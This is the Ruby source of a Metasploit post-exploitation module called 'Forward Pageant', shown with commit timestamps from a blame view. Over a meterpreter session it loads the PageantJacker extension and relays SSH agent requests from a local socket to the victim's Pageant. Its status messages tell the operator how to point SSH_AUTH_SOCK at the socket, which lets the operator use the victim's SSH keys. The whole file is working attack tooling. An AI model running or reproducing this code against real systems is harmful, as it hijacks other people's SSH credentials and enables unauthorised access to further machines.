2015-05-19 08:49:27 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2015-05-19 08:55:38 +00:00
|
|
|
require 'tmpdir'
|
2015-05-19 08:49:27 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Forward Pageant',
|
|
|
|
'Description' => %q{
|
|
|
|
This module forwards Pageant.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2015-05-19 11:21:00 +00:00
|
|
|
'Author' => [
|
|
|
|
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
|
|
|
],
|
2015-05-19 08:49:27 +00:00
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2015-05-19 09:56:04 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2015-05-19 10:34:25 +00:00
|
|
|
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]),
|
2015-05-19 09:56:04 +00:00
|
|
|
], self.class)
|
2015-05-19 08:55:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
if(!session.pageantjacker)
|
2015-05-19 09:33:32 +00:00
|
|
|
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
|
2015-05-19 08:55:38 +00:00
|
|
|
session.core.use("pageantjacker")
|
|
|
|
end
|
|
|
|
|
|
|
|
if(!session.pageantjacker)
|
2015-05-19 09:33:32 +00:00
|
|
|
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
|
2015-05-19 08:55:38 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2015-05-19 09:56:04 +00:00
|
|
|
if datastore['SocketPath']
|
|
|
|
@sockpath = datastore['SocketPath'].to_s
|
|
|
|
else
|
|
|
|
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
|
|
|
|
end
|
|
|
|
|
2015-05-19 09:21:08 +00:00
|
|
|
if ::File.exists?(@sockpath)
|
|
|
|
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
|
2015-05-19 08:55:38 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2015-05-19 09:21:08 +00:00
|
|
|
::UNIXServer.open(@sockpath) {|serv|
|
2015-05-19 10:34:25 +00:00
|
|
|
print_status("Launched listening socket on #{@sockpath}")
|
2015-05-19 09:21:08 +00:00
|
|
|
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
|
2015-05-19 08:55:38 +00:00
|
|
|
print_status("Now use any tool normally (e.g. ssh-add)")
|
2015-05-19 09:56:04 +00:00
|
|
|
|
2015-05-19 08:55:38 +00:00
|
|
|
loop {
|
|
|
|
s = serv.accept
|
|
|
|
loop {
|
|
|
|
socket_request_data = s.recvfrom(8192)
|
|
|
|
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
2015-05-19 11:21:00 +00:00
|
|
|
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
2015-05-19 10:34:25 +00:00
|
|
|
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
|
|
|
|
if response[:success]
|
|
|
|
if response[:blob]
|
|
|
|
s.send response[:blob],0
|
|
|
|
end
|
|
|
|
end
|
2015-05-19 11:21:00 +00:00
|
|
|
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Error='#{response[:error]})'")
|
2015-05-19 08:55:38 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2015-05-19 09:21:08 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup
|
2015-05-19 09:56:04 +00:00
|
|
|
if @sockpath
|
|
|
|
if ::File.exists?(@sockpath)
|
|
|
|
::File.delete(@sockpath)
|
|
|
|
end
|
2015-05-19 08:55:38 +00:00
|
|
|
end
|
2015-05-19 08:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|